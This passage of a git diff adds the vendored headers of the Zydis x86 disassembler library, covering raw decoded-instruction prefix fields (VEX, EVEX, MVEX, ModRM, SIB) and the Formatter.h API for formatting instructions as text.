+ */ + ZyanU8 L; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * The offset of the first `VEX` byte, relative to the beginning of the instruction, in + * bytes. + */ + ZyanU8 offset; + /** + * The size of the `VEX` prefix, in bytes. + */ + ZyanU8 size; + } vex; + /** + * Detailed info about the `EVEX` prefix. + */ + struct ZydisDecodedInstructionRawEvex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index/vidx` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm` or `SIB.base` field (inverted). + */ + ZyanU8 B; + /** + * High-16 register specifier modifier (inverted). + */ + ZyanU8 R2; + /** + * Opcode-map specifier. + */ + ZyanU8 mm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * Zeroing/Merging. + */ + ZyanU8 z; + /** + * Vector-length specifier or rounding-control (most significant bit). + */ + ZyanU8 L2; + /** + * Vector-length specifier or rounding-control (least significant bit). + */ + ZyanU8 L; + /** + * Broadcast/RC/SAE context. + */ + ZyanU8 b; + /** + * High-16 `NDS`/`VIDX` register specifier. + */ + ZyanU8 V2; + /** + * Embedded opmask register specifier. + */ + ZyanU8 aaa; + /** + * The offset of the first evex byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } evex; + /** + * Detailed info about the `MVEX` prefix. + */ + struct ZydisDecodedInstructionRawMvex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index/vidx` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm` or `SIB.base` field (inverted). + */ + ZyanU8 B; + /** + * High-16 register specifier modifier (inverted). + */ + ZyanU8 R2; + /** + * Opcode-map specifier. + */ + ZyanU8 mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * Non-temporal/eviction hint. + */ + ZyanU8 E; + /** + * Swizzle/broadcast/up-convert/down-convert/static-rounding controls. + */ + ZyanU8 SSS; + /** + * High-16 `NDS`/`VIDX` register specifier. + */ + ZyanU8 V2; + /** + * Embedded opmask register specifier. + */ + ZyanU8 kkk; + /** + * The offset of the first mvex byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } mvex; + /** + * Detailed info about the `ModRM` byte. + */ + struct ZydisDecodedInstructionModRm_ + { + /** + * The addressing mode. + */ + ZyanU8 mod; + /** + * Register specifier or opcode-extension. + */ + ZyanU8 reg; + /** + * Register specifier or opcode-extension. + */ + ZyanU8 rm; + /** + * The offset of the `ModRM` byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } modrm; + /** + * Detailed info about the `SIB` byte. + */ + struct ZydisDecodedInstructionRawSib_ + { + /** + * The scale factor. + */ + ZyanU8 scale; + /** + * The index-register specifier. + */ + ZyanU8 index; + /** + * The base-register specifier. + */ + ZyanU8 base; + /** + * The offset of the `SIB` byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } sib; + /** + * Detailed info about displacement-bytes. + */ + struct ZydisDecodedInstructionRawDisp_ + { + /** + * The displacement value + */ + ZyanI64 value; + /** + * The physical displacement size, in bits. + */ + ZyanU8 size; + // TODO: publish cd8 scale + /** + * The offset of the displacement data, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } disp; + /** + * Detailed info about immediate-bytes. + */ + struct ZydisDecodedInstructionRawImm_ + { + /** + * Signals, if the immediate value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the immediate value contains a relative offset. You can use + * `ZydisCalcAbsoluteAddress` to determine the absolute address value. + */ + ZyanBool is_relative; + /** + * The immediate value. + */ + union ZydisDecodedInstructionRawImmValue_ + { + ZyanU64 u; + ZyanI64 s; + } value; + /** + * The physical immediate size, in bits. + */ + ZyanU8 size; + /** + * The offset of the immediate data, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } imm[2]; + } raw; +} ZydisDecodedInstruction; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INSTRUCTIONINFO_H */ diff --git a/Theodosius/Zydis/Formatter.h b/Theodosius/Zydis/Formatter.h new file mode 100644 index 0000000..c68bcde --- /dev/null +++ b/Theodosius/Zydis/Formatter.h @@ -0,0 +1,1179 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Functions for formatting instructions to human-readable text. + */ + +#ifndef ZYDIS_FORMATTER_H +#define ZYDIS_FORMATTER_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * Use this constant as value for `runtime_address` in `ZydisFormatterFormatInstruction(Ex)` + * or `ZydisFormatterFormatOperand(Ex)` to print relative values for all addresses. + */ +#define ZYDIS_RUNTIME_ADDRESS_NONE (ZyanU64)(-1) + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter style */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterStyle` enum. + */ +typedef enum ZydisFormatterStyle_ +{ + /** + * Generates `AT&T`-style disassembly. + */ + ZYDIS_FORMATTER_STYLE_ATT, + /** + * Generates `Intel`-style disassembly. + */ + ZYDIS_FORMATTER_STYLE_INTEL, + /** + * Generates `MASM`-style disassembly that is directly accepted as input for + * the `MASM` assembler. + * + * The runtime-address is ignored in this mode. + */ + ZYDIS_FORMATTER_STYLE_INTEL_MASM, + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_STYLE_MAX_VALUE = ZYDIS_FORMATTER_STYLE_INTEL_MASM, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_STYLE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_STYLE_MAX_VALUE) +} ZydisFormatterStyle; + +/* ---------------------------------------------------------------------------------------------- */ +/* Properties */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterProperty` enum. + */ +typedef enum ZydisFormatterProperty_ +{ + /* ---------------------------------------------------------------------------------------- */ + /* General */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the printing of effective operand-size suffixes (`AT&T`) or operand-sizes + * of memory operands (`INTEL`). + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print the size, or `ZYAN_FALSE` + * to only print it if needed. + */ + ZYDIS_FORMATTER_PROP_FORCE_SIZE, + /** + * Controls the printing of segment prefixes. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print the segment register of + * memory-operands or `ZYAN_FALSE` to omit implicit `DS`/`SS` segments. + */ + ZYDIS_FORMATTER_PROP_FORCE_SEGMENT, + /** + * Controls the printing of branch addresses. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print relative branch addresses + * or `ZYAN_FALSE` to use absolute addresses, if a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. + */ + ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES, + /** + * Controls the printing of `EIP`/`RIP`-relative addresses. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print relative addresses for + * `EIP`/`RIP`-relative operands or `ZYAN_FALSE` to use absolute addresses, if a runtime- + * address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. + */ + ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL, + /** + * Controls the printing of branch-instructions sizes. + * + * Pass `ZYAN_TRUE` as value to print the size (`short`, `near`) of branch + * instructions or `ZYAN_FALSE` to hide it. + * + * Note that the `far`/`l` modifier is always printed. + */ + ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE, + + /** + * Controls the printing of instruction prefixes. + * + * Pass `ZYAN_TRUE` as value to print all instruction-prefixes (even ignored or duplicate + * ones) or `ZYAN_FALSE` to only print prefixes that are effectively used by the instruction. + */ + ZYDIS_FORMATTER_PROP_DETAILED_PREFIXES, + + /* ---------------------------------------------------------------------------------------- */ + /* Numeric values */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of address values. + */ + ZYDIS_FORMATTER_PROP_ADDR_BASE, + /** + * Controls the signedness of relative addresses. Absolute addresses are + * always unsigned. + */ + ZYDIS_FORMATTER_PROP_ADDR_SIGNEDNESS, + /** + * Controls the padding of absolute address values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * addresses to the current stack width (hexadecimal only), or any other integer value for + * custom padding. + */ + ZYDIS_FORMATTER_PROP_ADDR_PADDING_ABSOLUTE, + /** + * Controls the padding of relative address values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * addresses to the current stack width (hexadecimal only), or any other integer value for + * custom padding. + */ + ZYDIS_FORMATTER_PROP_ADDR_PADDING_RELATIVE, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of displacement values. + */ + ZYDIS_FORMATTER_PROP_DISP_BASE, + /** + * Controls the signedness of displacement values. + */ + ZYDIS_FORMATTER_PROP_DISP_SIGNEDNESS, + /** + * Controls the padding of displacement values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, or any other integer value for custom + * padding. + */ + ZYDIS_FORMATTER_PROP_DISP_PADDING, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of immediate values. + */ + ZYDIS_FORMATTER_PROP_IMM_BASE, + /** + * Controls the signedness of immediate values. + * + * Pass `ZYDIS_SIGNEDNESS_AUTO` to automatically choose the most suitable mode based on the + * operands `ZydisDecodedOperand.imm.is_signed` attribute. + */ + ZYDIS_FORMATTER_PROP_IMM_SIGNEDNESS, + /** + * Controls the padding of immediate values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * immediates to the operand-width (hexadecimal only), or any other integer value for custom + * padding. + */ + ZYDIS_FORMATTER_PROP_IMM_PADDING, + + /* ---------------------------------------------------------------------------------------- */ + /* Text formatting */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the letter-case for prefixes. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_PREFIXES, + /** + * Controls the letter-case for the mnemonic. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_MNEMONIC, + /** + * Controls the letter-case for registers. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_REGISTERS, + /** + * Controls the letter-case for typecasts. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_TYPECASTS, + /** + * Controls the letter-case for decorators. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_DECORATORS, + + /* ---------------------------------------------------------------------------------------- */ + /* Number formatting */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the prefix for decimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom prefix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_DEC_PREFIX, + /** + * Controls the suffix for decimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom suffix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_DEC_SUFFIX, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the letter-case of hexadecimal values. + * + * Pass `ZYAN_TRUE` as value to format in uppercase and `ZYAN_FALSE` to format in lowercase. + * + * The default value is `ZYAN_TRUE`. + */ + ZYDIS_FORMATTER_PROP_HEX_UPPERCASE, + /** + * Controls the prefix for hexadecimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom prefix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_HEX_PREFIX, + /** + * Controls the suffix for hexadecimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom suffix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_HEX_SUFFIX, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_PROP_MAX_VALUE = ZYDIS_FORMATTER_PROP_HEX_SUFFIX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_PROP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_PROP_MAX_VALUE) +} ZydisFormatterProperty; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisNumericBase` enum. + */ +typedef enum ZydisNumericBase_ +{ + /** + * Decimal system. + */ + ZYDIS_NUMERIC_BASE_DEC, + /** + * Hexadecimal system. + */ + ZYDIS_NUMERIC_BASE_HEX, + + /** + * Maximum value of this enum. + */ + ZYDIS_NUMERIC_BASE_MAX_VALUE = ZYDIS_NUMERIC_BASE_HEX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_NUMERIC_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_NUMERIC_BASE_MAX_VALUE) +} ZydisNumericBase; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSignedness` enum. + */ +typedef enum ZydisSignedness_ +{ + /** + * Automatically choose the most suitable mode based on the operands + * ZydisDecodedOperand.imm.is_signed` attribute. + */ + ZYDIS_SIGNEDNESS_AUTO, + /** + * Force signed values. + */ + ZYDIS_SIGNEDNESS_SIGNED, + /** + * Force unsigned values. + */ + ZYDIS_SIGNEDNESS_UNSIGNED, + + /** + * Maximum value of this enum. + */ + ZYDIS_SIGNEDNESS_MAX_VALUE = ZYDIS_SIGNEDNESS_UNSIGNED, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SIGNEDNESS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SIGNEDNESS_MAX_VALUE) +} ZydisSignedness; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisPadding` enum. + */ +typedef enum ZydisPadding_ +{ + /** + * Disables padding. + */ + ZYDIS_PADDING_DISABLED = 0, + /** + * Padds the value to the current stack-width for addresses, or to the + * operand-width for immediate values (hexadecimal only). + */ + ZYDIS_PADDING_AUTO = (-1), + + /** + * Maximum value of this enum. + */ + ZYDIS_PADDING_MAX_VALUE = ZYDIS_PADDING_AUTO, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_PADDING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PADDING_MAX_VALUE) +} ZydisPadding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Function types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterFunction` enum. + * + * Do NOT change the order of the values this enum or the function fields inside the + * `ZydisFormatter` struct. + */ +typedef enum ZydisFormatterFunction_ +{ + /* ---------------------------------------------------------------------------------------- */ + /* Instruction */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked before the formatter formats an instruction. + */ + ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION, + /** + * This function is invoked after the formatter formatted an instruction. + */ + ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function refers to the main formatting function. + * + * Replacing this function allows for complete custom formatting, but indirectly disables all + * other hooks except for `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` and + * `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION`. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION, + + /* ---------------------------------------------------------------------------------------- */ + /* Operands */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked before the formatter formats an operand. + */ + ZYDIS_FORMATTER_FUNC_PRE_OPERAND, + /** + * This function is invoked after the formatter formatted an operand. + */ + ZYDIS_FORMATTER_FUNC_POST_OPERAND, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to format a register operand. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG, + /** + * This function is invoked to format a memory operand. + * + * Replacing this function might indirectly disable some specific calls to the + * `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST`, `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT`, + * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` and `ZYDIS_FORMATTER_FUNC_PRINT_DISP` functions. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM, + /** + * This function is invoked to format a pointer operand. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR, + /** + * This function is invoked to format an immediate operand. + * + * Replacing this function might indirectly disable some specific calls to the + * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS`, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` and + * `ZYDIS_FORMATTER_FUNC_PRINT_IMM` functions. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM, + + /* ---------------------------------------------------------------------------------------- */ + /* Elemental tokens */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print the instruction mnemonic. + */ + ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print a register. + */ + ZYDIS_FORMATTER_FUNC_PRINT_REGISTER, + /** + * This function is invoked to print absolute addresses. + * + * Conditionally invoked, if a runtime-address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was + * passed: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + * - `MEM` operands with `EIP`/`RIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) + * + * Always invoked for: + * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) + */ + ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS, + /** + * This function is invoked to print relative addresses. + * + * Conditionally invoked, if `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as runtime-address: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + */ + ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL, + /** + * This function is invoked to print a memory displacement value. + * + * If the memory displacement contains an address and a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called + * instead. + */ + ZYDIS_FORMATTER_FUNC_PRINT_DISP, + /** + * This function is invoked to print an immediate value. + * + * If the immediate contains an address and a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called + * instead. + * + * If the immediate contains an address and `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as + * runtime-address, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` is called instead. + */ + ZYDIS_FORMATTER_FUNC_PRINT_IMM, + + /* ---------------------------------------------------------------------------------------- */ + /* Optional tokens */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print the size of a memory operand (`INTEL` only). + */ + ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST, + /** + * This function is invoked to print the segment-register of a memory operand. + */ + ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT, + /** + * This function is invoked to print the instruction prefixes. + */ + ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES, + /** + * This function is invoked after formatting an operand to print a `EVEX`/`MVEX` + * decorator. + */ + ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_FUNC_MAX_VALUE = ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_FUNC_MAX_VALUE) +} ZydisFormatterFunction; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decorator types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecorator` enum. + */ +typedef enum ZydisDecorator_ +{ + ZYDIS_DECORATOR_INVALID, + /** + * The embedded-mask decorator. + */ + ZYDIS_DECORATOR_MASK, + /** + * The broadcast decorator. + */ + ZYDIS_DECORATOR_BC, + /** + * The rounding-control decorator. + */ + ZYDIS_DECORATOR_RC, + /** + * The suppress-all-exceptions decorator. + */ + ZYDIS_DECORATOR_SAE, + /** + * The register-swizzle decorator. + */ + ZYDIS_DECORATOR_SWIZZLE, + /** + * The conversion decorator. + */ + ZYDIS_DECORATOR_CONVERSION, + /** + * The eviction-hint decorator. + */ + ZYDIS_DECORATOR_EH, + + /** + * Maximum value of this enum. + */ + ZYDIS_DECORATOR_MAX_VALUE = ZYDIS_DECORATOR_EH, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_DECORATOR_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECORATOR_MAX_VALUE) +} ZydisDecorator; + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter context */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef struct ZydisFormatter_ ZydisFormatter; + +/** + * Defines the `ZydisFormatterContext` struct. + */ +typedef struct ZydisFormatterContext_ +{ + /** + * A pointer to the `ZydisDecodedInstruction` struct. + */ + const ZydisDecodedInstruction* instruction; + /** + * A pointer to the `ZydisDecodedOperand` struct. + */ + const ZydisDecodedOperand* operand; + /** + * The runtime address of the instruction. + */ + ZyanU64 runtime_address; + /** + * A pointer to user-defined data. + */ + void* user_data; +} ZydisFormatterContext; + +/* ---------------------------------------------------------------------------------------------- */ +/* Function prototypes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * + * @return A zyan status code. + * + * Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the formatting + * process to fail (see exceptions below). + * + * Returning `ZYDIS_STATUS_SKIP_TOKEN` is valid for functions of the following types and will + * instruct the formatter to omit the whole operand: + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + * + * This function prototype is used by functions of the following types: + * - `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC` + * - `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` + * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` + * - `ZYDIS_FORMATTER_FUNC_PRINT_DISP` + * - `ZYDIS_FORMATTER_FUNC_PRINT_IMM` + * - `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` + * - `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` + */ +typedef ZyanStatus (*ZydisFormatterFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + + /** + * Defines the `ZydisFormatterRegisterFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param reg The register. + * + * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the + * formatting process to fail. + * + * This function prototype is used by functions of the following types: + * - `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER`. + */ +typedef ZyanStatus (*ZydisFormatterRegisterFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +/** + * Defines the `ZydisFormatterDecoratorFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param decorator The decorator type. + * + * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the + * formatting process to fail. + * + * This function type is used for: + * - `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` + */ +typedef ZyanStatus (*ZydisFormatterDecoratorFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter struct */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatter` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + * + * Do NOT change the order of the function fields or the values of the `ZydisFormatterFunction` + * enum. + */ +struct ZydisFormatter_ +{ + /** + * The formatter style. + */ + ZydisFormatterStyle style; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_SIZE` property. + */ + ZyanBool force_memory_size; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_SEGMENT` property. + */ + ZyanBool force_memory_segment; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES` property. + */ + ZyanBool force_relative_branches; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL` property. + */ + ZyanBool force_relative_riprel; + /** + * The `ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE` property. + */ + ZyanBool print_branch_size; + /** + * The `ZYDIS_FORMATTER_DETAILED_PREFIXES` property. + */ + ZyanBool detailed_prefixes; + /** + * The `ZYDIS_FORMATTER_ADDR_BASE` property. + */ + ZydisNumericBase addr_base; + /** + * The `ZYDIS_FORMATTER_ADDR_SIGNEDNESS` property. + */ + ZydisSignedness addr_signedness; + /** + * The `ZYDIS_FORMATTER_ADDR_PADDING_ABSOLUTE` property. + */ + ZydisPadding addr_padding_absolute; + /** + * The `ZYDIS_FORMATTER_ADDR_PADDING_RELATIVE` property. + */ + ZydisPadding addr_padding_relative; + /** + * The `ZYDIS_FORMATTER_DISP_BASE` property. + */ + ZydisNumericBase disp_base; + /** + * The `ZYDIS_FORMATTER_DISP_SIGNEDNESS` property. + */ + ZydisSignedness disp_signedness; + /** + * The `ZYDIS_FORMATTER_DISP_PADDING` property. + */ + ZydisPadding disp_padding; + /** + * The `ZYDIS_FORMATTER_IMM_BASE` property. + */ + ZydisNumericBase imm_base; + /** + * The `ZYDIS_FORMATTER_IMM_SIGNEDNESS` property. + */ + ZydisSignedness imm_signedness; + /** + * The `ZYDIS_FORMATTER_IMM_PADDING` property. + */ + ZydisPadding imm_padding; + /** + * The 